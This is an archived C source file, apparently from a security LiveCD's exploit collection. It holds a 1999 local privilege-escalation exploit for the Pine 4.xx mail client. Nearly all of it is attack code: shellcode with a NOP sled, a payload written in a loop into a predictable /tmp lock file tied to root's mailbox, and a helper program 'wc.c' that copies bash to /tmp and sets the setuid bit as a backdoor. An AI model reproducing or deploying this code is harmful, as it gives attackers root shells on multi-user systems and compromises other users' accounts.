home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / pine / explpine.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  4KB  |  125 lines

  1. /* UNOFFICIAL exploit for Pine 4.xx                                 [2000]*/
  2. /* Ripped from two txts ... lcamtuf's and Aleph1's :-)              [2000]*/
  3. /* by z33d -- z33d@lighting.ml.org                                  [2000]*/
  4. /* if this doesn't work ,you will try with GDB-the best debugger ;-)[2000]*/
  5. /* because we don't know where will be this bufor in memory :-(     [2000]*/
  6. /* I tested on RH 5.1 ( :-] )                                       [2000]*/
  7. /* oh and you must first send some mail to -luser-                  [2000]*/
  8.  
  9. /*
  10. Date: Fri, 9 Apr 1999 12:18:06 -0000
  11. From: Maurycy Prodeus <z33d@LIGHTING.ML.ORG>
  12. To: BUGTRAQ@netspace.org
  13. Subject: Pine 4.xx exploit
  14.  
  15. Hi ...
  16. I wrote exploit on Pine 4.xx , but perhaps it doesn't work well on some
  17. computer ... - you must use gdb and practice on non-root user ...
  18. Put wc.c in /tmp and compile : gcc wc.c -o wc next you must compile
  19. explpine.c (-o explpine or change in wc.c [ killall -9 explpine ] )
  20. run this ...
  21. Send some mail to -luser- and wait wait wait ...
  22. */
  23.  
  24. #include <sys/file.h>
  25. #include <sys/stat.h>
  26. #include <unistd.h>
  27. #include <stdlib.h>
  28.  
  29. #define DEFAULT_DISTANCE 0xe98
  30. #define DEFAULT_BUFFER_SIZE            600
  31. #define DEFAULT_EGG_SIZE               576  /* for lame: mod 4 = 0 !!!!!!!!! */
  32. #define NOP                            0x90
  33. #define LUSER "root"
  34.  
  35. char shellcode[] =
  36.   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  37.   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  38.   "\x80\xe8\xdc\xff\xff\xff/tmp/wc";
  39.  
  40. unsigned long get_sp(void)
  41. {
  42.   __asm__("movl %esp,%eax");
  43. }
  44.  
  45. void main(int argc, char *argv[])
  46. {
  47.   char *buff, *ptr, *egg , *bufor;
  48.   long *addr_ptr, addr;
  49.   int bsize=DEFAULT_BUFFER_SIZE;
  50.   int i, eggsize=DEFAULT_EGG_SIZE;
  51.   int a=0;
  52.   char s[100];
  53.   struct stat x;
  54.  
  55.  
  56.   if (!(buff = malloc(bsize)))
  57.     {
  58.       printf("Can't allocate memory.\n");
  59.       exit(0);
  60.     }
  61.   if (!(egg = malloc(eggsize)))
  62.     {
  63.       printf("Can't allocate memory.\n");
  64.       exit(0);
  65.     }
  66.   if (!(bufor = malloc(bsize+eggsize)))
  67.     {
  68.       printf("Can't allocate memory.\n");
  69.       exit(0);
  70.     }
  71.  
  72.   addr = get_sp() - DEFAULT_DISTANCE;
  73.   printf("Using address: 0x%x\n", addr);
  74.  
  75.   ptr = buff;
  76.   addr_ptr = (long *) ptr;
  77.   for (i = 0; i < bsize; i+=4)
  78.     *(addr_ptr++) = addr;
  79.  
  80.   ptr = egg;
  81.   for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
  82.     *(ptr++) = NOP;
  83.   for (i = 0; i < strlen(shellcode); i++)
  84.     *(ptr++) = shellcode[i];
  85.   for (i = 0; i < eggsize ; i++)
  86.     bufor[i] = egg[i];
  87.   for (i=eggsize; i < eggsize+bsize+1 ; i++)
  88.     bufor[i] = buff[i-eggsize];
  89.  
  90.   sprintf(s,"/var/spool/mail/%s",LUSER);
  91.   if (stat(s,&x)) exit(printf("Mailbox (%s) not found.\n",s));
  92.   sprintf(s,"/tmp/.%x.%x",(int)x.st_dev,(int)x.st_ino);
  93.   fchmod(i=open(s,O_RDWR|O_CREAT,0600),0666);
  94.   while (1)
  95.     {
  96.       lseek(i,0,0);
  97.       write(i,bufor,bsize+eggsize);
  98.       ftruncate(i,bsize+eggsize);
  99.       fsync(i);
  100.       printf("Tieeeee %x\n",addr+DEFAULT_DISTANCE);
  101.       if (!a++) if (!flock(i,LOCK_EX)) printf("Got lock on %s.\n",s);
  102.         else printf("File %s already locked, wait...\n",s);
  103.       sleep(1);
  104.     }
  105. }
  106. --------------end of explpine.c----------------------------------------
  107.  
  108. wc.c is a script which will be run by -luser-'s pine ...
  109.  
  110. --------------wc.c------------------------
  111.  
  112. #include <stdio.h>
  113. #define LUSER "z33d"
  114. void main()
  115. {
  116. system("cp /bin/bash /tmp/mc666");
  117. system("chgrp "LUSER" /tmp/mc666");
  118. system("chmod +s /tmp/mc666");
  119. system("/usr/bin/killall -9 explpine");
  120. putenv("TERM=linux");
  121. execl("/usr/bin/pine","pine",0);
  122. }
  123.  
  124. -------------end of wc.c--------------------
  125.